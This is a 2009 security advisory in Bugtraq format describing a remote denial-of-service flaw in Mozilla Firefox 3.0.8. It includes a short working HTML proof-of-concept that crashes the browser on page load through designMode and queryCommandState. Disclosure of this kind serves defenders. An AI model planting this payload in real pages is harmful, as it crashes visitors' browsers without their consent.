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Written by Carl Hardwick   
Sunday, 05 April 2009 22:44
Mozilla Firefox 'DesignMode' Denial of Service Vulnerability


-\\Bugtraq ID:
34372

-\\Class:
Failure to Handle Exceptional Conditions

-\\CVE:


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Apr 04 2009 12:00AM

-\\Updated:
Apr 04 2009 12:00AM

-\\Credit:
Carl Hardwick



-\\Vulnerable:
Mozilla Firefox 3.0.8



-\\Discussion
Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser,
resulting in denial-of-service conditions.

Firefox 3.0.8 is vulnerable; other versions may also be affected.



-\\Exploit(s)/PoC(s):
The following exploit is available:

<BODY onload="document.designMode='on';
document.removeChild(document.firstChild);
document.queryCommandState('BackColor');
">



-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel
we are in error or if you are aware of more recent information, please
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-\\References(s)
--Mozilla Homepage
http://www.mozilla.org  (Mozilla Foundation)
 

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